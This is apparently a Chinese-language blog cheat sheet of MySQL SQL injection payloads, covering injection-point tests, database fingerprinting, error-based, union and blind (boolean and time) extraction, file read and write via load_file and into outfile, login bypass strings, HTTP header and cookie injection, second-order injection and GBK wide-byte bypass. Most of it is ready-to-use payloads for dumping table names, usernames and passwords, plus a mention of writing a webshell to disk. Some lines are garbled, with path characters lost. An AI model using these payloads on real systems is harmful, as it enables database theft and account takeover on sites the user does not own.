MySQL注入--Payload
Mirror王宇阳
2019-10-22
SQL的注入流程一般如下:
1、判断是否有SQL注入漏洞(判断注入点)
2、判断数据库的系统架构、数据库名、web应用类型等
3、获取数据库信息
4、加密信息破解
5、进行提权
前篇
注入漏洞分类:
数字型注入:
当输入(注入)的参数为整数,则可以认为该漏洞注入点为数字型注入;
http://192.168.2.172/index.php/?id=8
在后端中SQL语句构成如下:
select * from user where id=8;
字符型注入:
当输入(注入)的参数为字符/串时可以认定为是字符型注入漏洞
其它注入:
POST注入:注入字段在POST数据中
Cookie注入:注入字段在Cookie数据中
延迟注入:使用数据库延迟特性进行注入
搜索注入:在搜索栏中利用恶意代码进行注入
base64注入:注入字符串经过base64加密
判断注入点
' or 1=1 #
and 1=1 #
and '1'='1' #
1') and ('1=1') #
url/?id=1/1
url/?id=1/0
判断数据库系统类型
PHP搭建的Web应用后端为MySQL
JSP搭建的Web应用后端为Oracle
ASP搭建的Web应用后端为MSSQL
MySQL
字符串连接判断:
?id=1 and '1'+'1' = '11'
?id=1 and concat('1','1')='11'
判断数据库的系统库表:
' and (select count(*) from information_schema.tables)>0 and 1=1
MSSQL
默认变量:
'?; select @@servername--+
字符串连接判断:
?id=1 and '1'+'1'='11'
数据库系统表判断:
' and (select count(*) from sysobjects)>0 and 1=1
Oracle
系统表判断:
' and (select count(*) from sys.user_tables)>0 and 1=1
字符串连接判断:
and '1'||'1' = '11'
and concat('1','1')='11'
MySQL注入姿势payload
报错注入
语句执行后返回异常信息,这些异常信息包含了重要数据
floor报错注入:
floor
和group by
配合使用group by
的key唯一性和编码顺序导致二次执行产生不同大的key
' and select count(*) from table group by floor(rand(0))*2 #
union select 1,count(*),concat(0x7e,0x7e,(select table_name from information_schema.tables where table_schema='schema_name' limit 0,1),0x7e,0x7e,floor(rand(0)*2))x from information_schema.tables group by x #
count()
统计行数
floor(x)
返回小于或等于x的整数
rand()
返回0~1的随机数
floor(rand(0)*2)
返回数的规律011011
原始表需要拥有三条数据以上
报错注入产生原因:
调用count()函数是,会创建一张临时表用来统计group by后的行数;第一次查询到的结果为0,插入到临时表中,由于结果为0 再一次对原始表进行查询,结果返回1,插入到临时表中;第二次查询结果为1 因为临时表有了1,所以直接在count(1)上加1,此时1字段有了两行,第三次查询结果为0 插入到临时表的同时再次查询原始表,结果为1进行插入,由于此前1字段已经存在。
ExtractValue报错注入:
# 爆表
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+
# 爆字段
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+
# 爆数据
and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+
1' and extractvalue(1,concat(0x7e,user()))#
extractvalue(xml_document,xpath_string)
从目标XML查询返回字符串
xml_document
是string的格式,为XML文档对象的名称中文为Doc
xpath_string
Xpath格式的字符串
concat
返回结果为连接参数产生的字符串
我们从数据库的注入点中进行报错注入,得到了数据库当前表
UpdateXml报错注入:
1' and updatexml(1,concat(0x7e,(user())),1);#
updatexml(xml_document,xpath_string,new_value)
从目标XML查询返回字符串
xml-document
是字符串格式,为XML文档对象的名字中文为doc
xpath-string
xpath格式字符串
new_value
new_value格式字符串
join报错注入:
and (select * from (select * from test as a join test as b) as c using(column_name1,...));
join
连接两张表
test
表名
using
关联两张表的相同字段
联合注入
union select * from (select name_const(version(),1),name_const(version(),1))x;#
name_const(0)
重复报错,传入参数为常量
# 猜解列数
union select 1,2[,……] --+
# 爆表
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
# 爆字段
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+
# 爆数据
union select 1,group_concat(id,0x7e,email_id),3 from emails --+
group_concat()
: 将group by产生的同一个分组中的值连接起来,返回一个字符串结果
盲注
通过条件是否成立来判断
基于布尔盲注
?id=1' and left(version(),1)='5' --+
left()
:从左截取a结果的1个长度的字符
只有当and
后面的sql语句为True才不会报错~……
通过猜解的方式,利用left的方法猜解数据库的版本信息第一个字符(环境是Mysql 5.1,所以版本信息第一个字符是‘5’)由此推演,我们可以利用布尔的判断特性来猜解数据库名……
如果我们不断的对目标进行猜解,就可以得到数据库名的第一个字符,以此类推第二个字符……第N个字符;数据库名的长度也可以通过length(database())>=*
进行猜解
牢记布尔盲注的特点:只有当and
后面的sql语句为True才不会报错;报错就表示and后的sql语句不成立……开动脑筋就可以创造奇迹
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 #
ascii(substr((select database()),1,1))=98
substr(a,b,c)
将a结果从b开始截取c长度字符,ascii()将字符转为ascii值
like匹配注入
select user() like 'ro%'
基于报错盲注
extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
updatexml(1,concat(0x7e,(select @@version),0x7e),0x7e) --+
基于时间盲注
主要思路就是利用时间延迟来判断布尔条件是否达成,本质上是利用时间延迟来进行布尔和报错盲注的判断依据条件;用于没有任何回显信息的时候使用~
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,
?id=1' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+
ascii()
负责猜解;if()
负责判断,若是猜解成立则返回1,若是猜解不成立延迟10秒
and exists(select * from admin);
exists()
检查行是否存在返回true或false
XOR(if(now()=sysdate(),sleep(4),0))OR;
xor
异或,当条件不成立则执行sleep(4)
now()
返回语句开始执行的时间
sysdate()
动态的实时时间
sleep()
设置sql语句的执行时间
distinct
返回不重复字段
文件的导入和导出
load_file()导出文件
load_file(file_name)
:读取文件并返回该文件的内容作为一个字符串
先决条件:
-
具有文件的读写权限
show variables like '%secure%';
-
文件存在服务器上且可读
-
了解文件的具体路径
解决方案:
绝对物理物理:提交一个错误的请求,程序会由概率性质爆出web目录的绝对路径diaplay_errors=on
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,
114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来, 尤其是 smb 文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain: “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:oot.ini)
Explain:路径里的/用 代替
load data infile导入数据库
load data infile
从文本文件中读取行数据,并存入一个表中,
load data infile {url} into table 表名(字段)
into outfile导入到文件
select [^] into outfile '[file_name]';
选择的一行写入到文件中,该文件保存在服务器主机上
如果达到渗透攻击的目的~就i利用into outfile将一句话木马写入到文件中
POST注入
提交表单,表单数据在后台会构成sql语句;
POST举例:
$sql="SELECT user, pass FROM users WHERE username='$user' and pass='$pass'";
利用注释符号的特性,改变sql语句的限制~
直接丢上万能密码
admin' or '1'='1' #
uname= admin' or '1'='1' #&passwd=pass&submit=Submit
语句在后台就会构成:
$sql="SELECT user, pass FROM users WHERE username='admin' or '1'='1'#' and pass='$pass'"
后半部分的pass内容直接被注释了!
POST利用:
uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=pass&submit=Submit
post的注入利用,其实本质依旧没有变~只是改变了请求的构造结构
有回显的时候使用union或报错注入
无法使用常规回显的时候可以使用盲注……
HTTP头部注入
User-Agent注入
用户代理(user agent)是记录软件程序的客户端信息的 HTTP 头字段,他可以用来统计目标和违规协议。在 HTTP 头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到 user-agent 信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下 user-agent 头存在的问题了。
GET /index.php HTTP/1.1
Host:xx.xxx.xxx.xx
User-Agent:admin' or 1/*
Referer注入
Referer 是另外一个当应用程序没有过滤存储到数据库时,容易发生 SQL 注入的 HTTP 头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求 URI 的服务器情况。它允许服务器产生一系列的回退链接文档,像感兴趣的内容,日志等。它也允许跟踪那些坏链接以便维护。
GET /index.php HTTP/1.1
Host: [host]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36
Referer: http://www.yaboukir.com'
Cookie注入
在ASP中,Request对象获取客户端提交数据使用的是POST还是GET方法,同时Request对象可以不通过集合过的数据,直接使用request("name")
asp按照QueryString(get),Form(post),Cookie,Serverariable集合顺序来搜索,Cookie保存在客户端的一个文本文件中,可以修改;正是这个原因可以利用request.cookie方法来提交变量的值,利用系统的漏洞来进行注入
条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
javascript:alert(document.cookie="id="+escape("1"))
document.cookie
当前浏览器中的cookie的value
alert()
弹出对话框,在对话框中确认信息
escape()
用于对字符串进行编码
Cookie的注入原理核心在于修改本地保存的Cookie,利用Cookie来提交非法的查询语句
如果开发者没有对Cookie进行过滤检查,Cookie的就可能会造成非法查询语句的构造
X-Forwarded-For注入
X-Forwarded-For
是HTTP头的一个字段;他被认为是客户端通过HTTP代理或者负载均衡器连接到Web服务端获取源IP地址的标准
X-Forwarded-For
常见于检测用户的IP是否合法;
利用FireFox的XFF Header插件或者将Burp抓到的爆保存给SQLmap
二次排序
*- 借鉴sqli-labs-24
分析环境文件:
login.php
:查询数据库用户存在和验证登录
login.php中使用了mysql_real_escape_string()
函数对用户输入的字符串进行处理;会将特殊字符进行转义使之失去效果;但是~之后数据存储进数据库后转义的字符会恢复原样!
思路:
- 黑客通过构造数据的形式, 在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
端进行处理, 提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。 - 服务端应用程序会将黑客提交的数据信息进行存储, 通常是保存在数据库中, 保存的
数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响
应。 - 黑客向服务端发送第二个与第一次不相同的请求数据信息。
- 服务端接收到黑客提交的第二个请求信息后, 为了处理该请求, 服务端会查询数据中已经存储的数据信息并处理, 从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
- 服务端返回执行的处理结果数据信息, 黑客可以通过返回的结果数据信息判断二次注
入漏洞利用是否成功。
在login_create.php
注册页面中,使用了mysql_real_escape_string()
但是数据还是会被存放在数据库中……
数据会被完整的记录在数据库中
数据库中有了我们的“小玩意”之后……
登录我们的账户,因为我们的账户是以admin'#
保存的,固然要这样的去访问和登录
前端提交user和pass后,会在修改密码页面修改密码
就这样我们成功的修改了admin的密码!为啥呢?
Sql 语句变为 UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ‘ AND password=’
也 就 是 执 行 了 UPDATE users SET passwd=”New_Pass” WHERE sername =’admin’
利用注册的admin’# 修改密码时候从数据库提取该数据 造成了数据 命令拼接
宽字节注入
mysql 在使用 GBK 编码的时候, 会认为两个字符为一个汉字, 例如%aa%5c 就是一个
汉字(前一个 ascii 码大于 128 才能到汉字的范围) 。 我们在过滤 ’ 的时候, 往往利用的思
路是将 ‘ 转换为 ’
1、 %df 吃掉 具体的原因是 urlencode(‘) = %5c%27, 我们在%5c%27 前面添加%df, 形
成%df%5c%27, 而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字, 此
事%df%5c 就是一个汉字, %27 则作为一个单独的符号在外面, 同时也就达到了我们的目的。
2、 将 ’ 中的 过滤掉, 例如可以构造 %**%5c%5c%27 的情况, 后面的%5c 会被前面的%5c
给注释掉。 这也是 bypass 的一种方法。
get 型的方式我们是以 url 形式提交的, 因此数据会通过 URLencode
post 型的注入当中, 将 utf-8 转换为 utf-16 或 utf-32, 例如将 ‘ 转为 utf-16 为 � ‘